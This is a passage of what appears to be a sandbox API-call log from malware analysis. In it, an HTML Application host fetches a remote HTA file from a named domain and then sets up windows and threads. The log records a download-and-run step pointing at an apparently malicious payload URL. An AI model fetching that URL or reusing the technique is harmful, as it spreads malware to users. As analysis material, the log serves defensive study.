returned 0x0 [0032.338] GetSysColor (nIndex=61) returned 0x0 [0032.338] GetSysColor (nIndex=62) returned 0x0 [0032.338] GetSysColor (nIndex=63) returned 0x0 [0032.338] GetDeviceCaps (hdc=0x200107e4, index=38) returned 32409 [0032.338] ReleaseDC (hWnd=0x0, hDC=0x200107e4) returned 1 [0032.339] GetCursorPos (in: lpPoint=0x3bf118 | out: lpPoint=0x3bf118*(x=667, y=493)) returned 1 [0032.339] GetKeyState (nVirtKey=16) returned 0 [0032.339] GetKeyState (nVirtKey=17) returned 0 [0032.339] GetKeyState (nVirtKey=18) returned 0 [0032.339] GetKeyState (nVirtKey=160) returned 0 [0032.339] GetKeyState (nVirtKey=162) returned 0 [0032.339] GetKeyState (nVirtKey=164) returned 0 [0032.339] GetProcAddress (hModule=0x76910000, lpProcName=0x8) returned 0x76913ed5 [0032.339] GetCurrentThreadId () returned 0x9c4 [0032.339] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf2b8 | out: ppu=0x3bf2b8) returned 0x0 [0032.339] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3bf29c | out: ppURI=0x3bf29c*=0x7ac484) returned 0x0 [0032.339] IUnknown:AddRef (This=0x7ac484) returned 0xd [0032.339] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf23c, dwFlags=0x0 | out: pdwZone=0x3bf23c*=0xffffffff) returned 0x800c0011 [0032.340] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.340] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.340] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0032.340] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x2700, pPolicy=0x3bf240, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3bf240*=0x0) returned 0x0 [0032.340] IUnknown:Release (This=0x7ac484) returned 0xc [0032.340] IUnknown:Release (This=0x7ac484) returned 0xb [0032.340] IUnknown:AddRef (This=0x7ac484) returned 0xc [0032.340] IUri:GetPropertyDWORD (in: This=0x7ac484, uriProp=0x11, pdwProperty=0x3bf074, dwFlags=0x0 | out: pdwProperty=0x3bf074*=0x2) returned 0x0 [0032.340] IInternetSecurityManager:GetSecurityId (in: This=0x7b70c8, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pbSecurityId=0x3bf0d0, pcbSecurityId=0x3bf0cc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3bf0d0*=0x68, pcbSecurityId=0x3bf0cc*=0x16) returned 0x0 [0032.340] IInternetSecurityManager:GetSecurityId (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pbSecurityId=0x3bf0d0, pcbSecurityId=0x3bf0cc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3bf0d0*=0x0, pcbSecurityId=0x3bf0cc*=0x200) returned 0x800c0011 [0032.340] IUnknown:Release (This=0x7ac484) returned 0xb [0032.340] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x3bf2f4, dwReserved=0x0 | out: ppIInternetSession=0x3bf2f4*=0x7b75b0) returned 0x0 [0032.340] IInternetSession:RegisterNameSpace (This=0x7b75b0, pCF=0x6fbd8c50, rclsid=0x6f7d9790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0032.344] IUnknown:AddRef (This=0x6fbd8c50) [0032.344] IInternetSession:RegisterNameSpace (This=0x7b75b0, pCF=0x6fbd8c70, rclsid=0x6f7d9780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0032.344] IUnknown:AddRef (This=0x6fbd8c70) [0032.344] StrCmpICW (pszStr1="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pszStr2="res://ieframe.dll/PhishSite.htm") returned -10 [0032.344] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf264 | out: ppvObject=0x3bf264*=0x7ac484) returned 0x0 [0032.344] IUnknown:Release (This=0x7ac484) returned 0xb [0032.344] IUnknown:AddRef (This=0x7ac484) returned 0xc [0032.344] IUnknown:AddRef (This=0x7ac484) returned 0xd [0032.344] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf228 | out: ppvObject=0x3bf228*=0x7ac484) returned 0x0 [0032.344] IUnknown:Release (This=0x7ac484) returned 0xd [0032.344] IUnknown:AddRef (This=0x7ac484) returned 0xe [0032.345] IUnknown:Release (This=0x7ac484) returned 0xd [0032.345] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf2ac | out: pdwScheme=0x3bf2ac*=0x2) returned 0x0 [0032.345] PostMessageW (hWnd=0x30226, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0032.345] IUnknown:AddRef (This=0x7ac484) returned 0xe [0032.345] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf248 | out: ppvObject=0x3bf248*=0x7ac484) returned 0x0 [0032.345] IUnknown:Release (This=0x7ac484) returned 0xe [0032.345] IUnknown:AddRef (This=0x7ac484) returned 0xf [0032.346] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bef4c | out: ppvObject=0x3bef4c*=0x7ac484) returned 0x0 [0032.346] IUnknown:Release (This=0x7ac484) returned 0xf [0032.346] IUnknown:AddRef (This=0x7ac484) returned 0x10 [0032.346] IUnknown:AddRef (This=0x7ac484) returned 0x11 [0032.346] IUnknown:AddRef (This=0x7ac484) returned 0x12 [0032.346] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bef40 | out: ppvObject=0x3bef40*=0x7ac484) returned 0x0 [0032.346] IUnknown:Release (This=0x7ac484) returned 0x12 [0032.346] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0032.346] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x7c8668 | out: pdwScheme=0x7c8668*=0x2) returned 0x0 [0032.346] IMoniker:IsSystemMoniker (in: This=0x7b14d8, pdwMksys=0x3befa8 | out: pdwMksys=0x3befa8*=0x6) returned 0x0 [0032.346] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bef4c | out: ppvObject=0x3bef4c*=0x7ac484) returned 0x0 [0032.346] IUnknown:Release (This=0x7ac484) returned 0x13 [0032.346] IUnknown:AddRef (This=0x7ac484) returned 0x14 [0032.352] IInternetSession:CreateBinding (in: This=0x7b75b0, pbc=0x0, szUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x7ced18, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x7ced18*=0x7c9bd0) returned 0x0 [0032.353] IUnknown:QueryInterface (in: This=0x7c9bd0, riid=0x6f7f6078*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x3beed0 | out: ppvObject=0x3beed0*=0x0) returned 0x80004002 [0032.353] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee6c | out: phkResult=0x3bee6c*=0x350) returned 0x0 [0032.353] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee70 | out: phkResult=0x3bee70*=0x354) returned 0x0 [0032.353] RegOpenKeyExW (in: hKey=0x354, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee2c | out: phkResult=0x3bee2c*=0x0) returned 0x2 [0032.353] RegOpenKeyExW (in: hKey=0x350, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee2c | out: phkResult=0x3bee2c*=0x358) returned 0x0 [0032.353] SHRegGetValueW () returned 0x2 [0032.353] SHRegGetValueW () returned 0x2 [0032.353] RegCloseKey (hKey=0x358) returned 0x0 [0032.353] RegCloseKey (hKey=0x0) returned 0x6 [0032.353] RegCloseKey (hKey=0x0) returned 0x6 [0032.353] RegCloseKey (hKey=0x350) returned 0x0 [0032.353] RegCloseKey (hKey=0x354) returned 0x0 [0032.353] IUnknown:AddRef (This=0x7c9bd0) returned 0x2 [0032.353] IUnknown:QueryInterface (in: This=0x7c9bd0, riid=0x6f7f6158*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x3bef14 | out: ppvObject=0x3bef14*=0x7c9bd0) returned 0x0 [0032.353] IInternetProtocolEx:StartEx (This=0x7c9bd0, pUri=0x7ac484, pOIProtSink=0x7c85b4, pOIBindInfo=0x7c857c, grfPI=0x10, dwReserved=0x0) returned 0x0 [0032.354] IUnknown:AddRef (This=0x7c85b4) returned 0x3 [0032.354] IUnknown:AddRef (This=0x7c857c) returned 0x4 [0032.354] IUnknown:QueryInterface (in: This=0x7c857c, riid=0x75476f40*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x3beebc | out: ppvObject=0x3beebc*=0x0) returned 0x80004002 [0032.354] IInternetBindInfo:GetBindInfo (in: This=0x7c857c, grfBINDF=0x7c9d40, pbindinfo=0x7c9d48 | out: grfBINDF=0x7c9d40*=0x20083, pbindinfo=0x7c9d48) returned 0x0 [0032.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee18 | out: phkResult=0x3bee18*=0x354) returned 0x0 [0032.354] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bee1c | out: phkResult=0x3bee1c*=0x350) returned 0x0 [0032.354] RegOpenKeyExW (in: hKey=0x350, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x3bedd8 | out: phkResult=0x3bedd8*=0x0) returned 0x2 [0032.354] RegOpenKeyExW (in: hKey=0x354, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x3bedd8 | out: phkResult=0x3bedd8*=0x0) returned 0x2 [0032.354] RegCloseKey (hKey=0x0) returned 0x6 [0032.354] RegCloseKey (hKey=0x0) returned 0x6 [0032.354] RegCloseKey (hKey=0x354) returned 0x0 [0032.354] RegCloseKey (hKey=0x350) returned 0x0 [0032.354] IUnknown:AddRef (This=0x7c85b4) returned 0x5 [0032.499] IInternetBindInfo:GetBindString (in: This=0x7c857c, ulStringType=0x2, ppwzStr=0x3be670, cEl=0x100, pcElFetched=0x3bee78*=0x100 | out: ppwzStr=0x3be670*="*/*", pcElFetched=0x3bee78*=0x1) returned 0x0 [0032.499] CoTaskMemAlloc (cb=0x8) returned 0x7d23d0 [0032.499] IUnknown:QueryInterface (in: This=0x7c85b4, riid=0x754897c8*(Data1=0x58dfc7d0, Data2=0x5381, Data3=0x43e5, Data4=([0]=0x9d, [1]=0x72, [2]=0x4c, [3]=0xdd, [4]=0xe4, [5]=0xcb, [6]=0xf, [7]=0x1a)), ppvObject=0x3bee78 | out: ppvObject=0x3bee78*=0x0) returned 0x80004002 [0032.501] IUnknown:QueryInterface (in: This=0x7c85b4, riid=0x754761d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x7c9c98 | out: ppvObject=0x7c9c98*=0x7c8574) returned 0x0 [0032.501] IServiceProvider:QueryService (in: This=0x7c8574, guidService=0x75476b20*(Data1=0x79eac9d2, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x75476b20*(Data1=0x79eac9d2, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7c9e2c | out: ppvObject=0x7c9e2c*=0x7c8578) returned 0x0 [0032.501] IHttpNegotiate:BeginningTransaction (in: This=0x7c8578, szUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", szHeaders="Accept-Encoding: gzip, deflate", dwReserved=0x0, pszAdditionalHeaders=0x3be62c | out: pszAdditionalHeaders=0x3be62c*="Accept-Language: en-US\r\n") returned 0x0 [0032.501] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3be5f0 | out: ppURI=0x3be5f0*=0x7ac484) returned 0x0 [0032.501] IUnknown:AddRef (This=0x7ac484) returned 0x19 [0032.501] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3be548 | out: ppvObject=0x3be548*=0x7ac484) returned 0x0 [0032.501] IUnknown:Release (This=0x7ac484) returned 0x19 [0032.501] IUnknown:AddRef (This=0x7ac484) returned 0x1a [0032.501] CoTaskMemAlloc (cb=0x32) returned 0x7c2248 [0032.501] IUnknown:Release (This=0x7ac484) returned 0x19 [0032.502] IServiceProvider:QueryService (in: This=0x7c8574, guidService=0x75476b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75476b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x7c9e50 | out: ppvObject=0x7c9e50*=0x7c8578) returned 0x0 [0032.502] IHttpNegotiate2:GetRootSecurityId (in: This=0x7c8578, pbSecurityId=0x3be42c, pcbSecurityId=0x7c9e1c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3be42c*=0x6c, pcbSecurityId=0x7c9e1c*=0x200) returned 0x80004005 [0032.502] IUnknown:Release (This=0x7c9bd0) returned 0x4 [0032.502] IUnknown:Release (This=0x7ac484) returned 0x17 [0032.502] IUnknown:Release (This=0x7ac484) returned 0x16 [0032.502] IUnknown:Release (This=0x7ac484) returned 0x15 [0032.502] CoTaskMemFree (pv=0x0) [0032.502] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3bf200 | out: lpCPInfo=0x3bf200) returned 1 [0032.503] IUnknown:AddRef (This=0x7b75b0) returned 0x3 [0032.503] IUnknown:AddRef (This=0x7ac484) returned 0x16 [0032.503] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bf208 | out: ppvObject=0x3bf208*=0x7ac484) returned 0x0 [0032.503] IUnknown:Release (This=0x7ac484) returned 0x16 [0032.503] IUnknown:AddRef (This=0x7ac484) returned 0x17 [0032.503] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bf20c | out: pdwScheme=0x3bf20c*=0x2) returned 0x0 [0032.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x6f7ce718, lpParameter=0x7c4898, dwCreationFlags=0x0, lpThreadId=0x7c48ac | out: lpThreadId=0x7c48ac*=0x9e8) returned 0x3c0 [0032.503] GetCurrentThreadId () returned 0x9c4 [0032.503] IUnknown:Release (This=0x7ac484) returned 0x16 [0032.504] IUnknown:Release (This=0x7ac484) returned 0x15 [0032.504] IUnknown:Release (This=0x7b14d8) returned 0x3 [0032.504] IUnknown:Release (This=0x7ac484) returned 0x14 [0032.504] IUnknown:Release (This=0x7ac484) returned 0x13 [0032.504] IUnknown:Release (This=0x7ac484) returned 0x12 [0032.504] IUnknown:Release (This=0x7b14d8) returned 0x2 [0032.504] IUnknown:Release (This=0x7ac484) returned 0x11 [0032.504] CoTaskMemFree (pv=0x7c3978) [0032.504] CoTaskMemFree (pv=0x0) [0032.504] IUnknown:Release (This=0x7ac484) returned 0x10 [0032.504] CoTaskMemFree (pv=0x7c3908) [0032.504] GetClientRect (in: hWnd=0x30224, lpRect=0x3bf724 | out: lpRect=0x3bf724) returned 1 [0032.504] GetClientRect (in: hWnd=0x30224, lpRect=0x792df4 | out: lpRect=0x792df4) returned 1 [0032.504] OffsetRect (in: lprc=0x792df4, dx=0, dy=0 | out: lprc=0x792df4) returned 1 [0032.504] OffsetRect (in: lprc=0x792e04, dx=0, dy=0 | out: lprc=0x792e04) returned 1 [0032.504] RegisterClassExW (param_1=0x3bf240) returned 0xc18c [0032.504] CoCreateInstance (in: rclsid=0x6f7ebf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x6f7ebf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x6fbdb020 | out: ppv=0x6fbdb020*=0x7da828) returned 0x0 [0032.531] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x7da828, aaClassList=0x3bf338*=0xc18c, uSize=0x1) returned 0x0 [0032.531] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc18c, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x30224, hMenu=0x0, hInstance=0x6f6a0000, lpParam=0x7b5278) returned 0x30228 [0032.531] GetWindowLongW (hWnd=0x30228, nIndex=-20) returned 0 [0032.531] SetWindowLongW (hWnd=0x30228, nIndex=-21, dwNewLong=8082040) returned 0 [0032.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x81, wParam=0x0, lParam=0x3bef0c*=8082040, plResult=0x3bed84 | out: plResult=0x3bed84) returned 0x1 [0032.531] NtdllDefWindowProc_W () returned 0x1 [0032.531] GetCurrentThreadId () returned 0x9c4 [0032.531] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.531] GetCurrentThreadId () returned 0x9c4 [0032.531] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x1, wParam=0x0, lParam=0x3bef0c*=8082040, plResult=0x3bed84 | out: plResult=0x3bed84) returned 0x1 [0032.531] NtdllDefWindowProc_W () returned 0x0 [0032.531] GetCurrentThreadId () returned 0x9c4 [0032.531] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x3bedd0 | out: plResult=0x3bedd0) returned 0x1 [0032.531] NtdllDefWindowProc_W () returned 0x0 [0032.531] GetCurrentThreadId () returned 0x9c4 [0032.531] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x3bedd0 | out: plResult=0x3bedd0) returned 0x1 [0032.531] NtdllDefWindowProc_W () returned 0x0 [0032.531] GetCurrentThreadId () returned 0x9c4 [0032.531] NtdllDefWindowProc_W () returned 0x0 [0032.532] GetClassNameW (in: hWnd=0x30224, lpClassName=0x3bf340, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0032.532] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1 [0032.532] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x7da828, fRestoreLayout=1) returned 0x0 [0032.532] SendMessageW (hWnd=0x30228, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0032.532] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.532] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x3bf1f4 | out: plResult=0x3bf1f4) returned 0x1 [0032.532] NtdllDefWindowProc_W () returned 0x3 [0032.532] GetCurrentThreadId () returned 0x9c4 [0032.532] IntersectRect (in: lprcDst=0x3bf574, lprcSrc1=0x792df4, lprcSrc2=0x792e04 | out: lprcDst=0x3bf574) returned 1 [0032.532] EqualRect (lprc1=0x3bf574, lprc2=0x792df4) returned 1 [0032.532] InvalidateRect (hWnd=0x30228, lpRect=0x0, bErase=1) returned 1 [0032.532] IntersectRect (in: lprcDst=0x3bf460, lprcSrc1=0x3bf460, lprcSrc2=0x3bf3f8 | out: lprcDst=0x3bf460) returned 1 [0032.532] IntersectRect (in: lprcDst=0x3bf460, lprcSrc1=0x3bf460, lprcSrc2=0x3bf3f8 | out: lprcDst=0x3bf460) returned 1 [0032.534] IntersectRect (in: lprcDst=0x3bf29c, lprcSrc1=0x3bf29c, lprcSrc2=0x3bf26c | out: lprcDst=0x3bf29c) returned 1 [0032.534] IntersectRect (in: lprcDst=0x7dfb28, lprcSrc1=0x7dfb28, lprcSrc2=0x3bf28c | out: lprcDst=0x7dfb28) returned 1 [0032.534] SetWindowPos (hWnd=0x30228, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0032.534] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.534] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x46, wParam=0x0, lParam=0x3bf554*=197160, plResult=0x3bf3f0 | out: plResult=0x3bf3f0) returned 0x1 [0032.534] NtdllDefWindowProc_W () returned 0x0 [0032.534] GetCurrentThreadId () returned 0x9c4 [0032.534] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.534] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x47, wParam=0x0, lParam=0x3bf554*=197160, plResult=0x3bf3ec | out: plResult=0x3bf3ec) returned 0x1 [0032.534] NtdllDefWindowProc_W () returned 0x0 [0032.534] GetCurrentThreadId () returned 0x9c4 [0032.534] SetTimer (hWnd=0x30228, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0032.534] GetFocus () returned 0x0 [0032.534] EnumChildWindows (hWndParent=0x30228, lpEnumFunc=0x6f9c0a73, lParam=0x3bf44c) returned 0 [0032.535] GetFocus () returned 0x0 [0032.535] SetFocus (hWnd=0x30228) returned 0x0 [0032.535] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.536] NtdllDefWindowProc_W () returned 0x0 [0032.545] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.545] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x74f50000 [0032.592] GetProcAddress (hModule=0x74f50000, lpProcName="LresultFromObject") returned 0x74f52663 [0032.629] LresultFromObject () returned 0xc120 [0032.713] GetCurrentThreadId () returned 0x9c4 [0032.738] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.739] GetKeyState (nVirtKey=1) returned 0 [0032.739] GetKeyState (nVirtKey=2) returned 0 [0032.739] GetKeyState (nVirtKey=16) returned 0 [0032.739] GetKeyState (nVirtKey=17) returned 0 [0032.739] GetKeyState (nVirtKey=4) returned 0 [0032.739] GetKeyState (nVirtKey=18) returned 0 [0032.739] GetMessageTime () returned 0 [0032.739] GetMessagePos () returned 0x0 [0032.739] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x3bee14 | out: plResult=0x3bee14) returned 0x0 [0032.740] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.740] GetKeyState (nVirtKey=1) returned 0 [0032.740] GetKeyState (nVirtKey=2) returned 0 [0032.740] GetKeyState (nVirtKey=16) returned 0 [0032.740] GetKeyState (nVirtKey=17) returned 0 [0032.740] GetKeyState (nVirtKey=4) returned 0 [0032.740] GetKeyState (nVirtKey=18) returned 0 [0032.740] GetMessageTime () returned 0 [0032.740] GetMessagePos () returned 0x0 [0032.741] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x3be844 | out: plResult=0x3be844) returned 0x0 [0032.741] GetCurrentThreadId () returned 0x9c4 [0032.741] GetCurrentThreadId () returned 0x9c4 [0032.741] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.742] GetCurrentThreadId () returned 0x9c4 [0032.742] GetCurrentThreadId () returned 0x9c4 [0032.742] GetCurrentThreadId () returned 0x9c4 [0032.742] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x3bf204 | out: plResult=0x3bf204) returned 0x1 [0032.742] NtdllDefWindowProc_W () returned 0x0 [0032.742] GetCurrentThreadId () returned 0x9c4 [0032.742] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x7da828, hWnd=0x30228, phIMC=0x3bf52c | out: phIMC=0x3bf52c*=0xa0201) returned 0x0 [0032.742] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x7da828, hWnd=0x30228, hIME=0x0, phPrev=0x3bf52c | out: phPrev=0x3bf52c*=0xa0201) returned 0x0 [0032.743] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.743] GetKeyState (nVirtKey=1) returned 0 [0032.743] GetKeyState (nVirtKey=2) returned 0 [0032.743] GetKeyState (nVirtKey=16) returned 0 [0032.743] GetKeyState (nVirtKey=17) returned 0 [0032.743] GetKeyState (nVirtKey=4) returned 0 [0032.743] GetKeyState (nVirtKey=18) returned 0 [0032.743] GetMessageTime () returned 0 [0032.743] GetMessagePos () returned 0x0 [0032.743] 